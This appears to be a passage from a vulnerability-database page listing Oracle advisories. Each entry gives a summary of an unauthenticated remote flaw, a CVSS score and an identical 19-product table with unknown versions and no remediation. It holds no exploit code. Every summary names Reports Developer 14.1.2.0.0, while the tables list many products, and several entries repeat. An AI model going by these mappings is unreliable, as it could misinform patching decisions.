vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to access, modify, or delete data and cause denial of service, with a CVSS 3.1 base score of 9.4.
9.4 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise systems via CORBA, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to gain unauthorized access, modify data, or cause partial denial of service via SOAP, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to manipulate critical data, rated with a CVSS 3.1 base score of 9.3.
9.3 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to modify or delete data and cause denial of service, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise systems via CORBA, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 via IIOP has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated network attackers via SOAP to create, delete, or modify critical data, with a CVSS 3.1 base score of 9.1 indicating high confidentiality and integrity impact.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, with a CVSS 3.1 base score of 9.6 indicating severe risks to confidentiality, integrity, and availability.
9.6 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
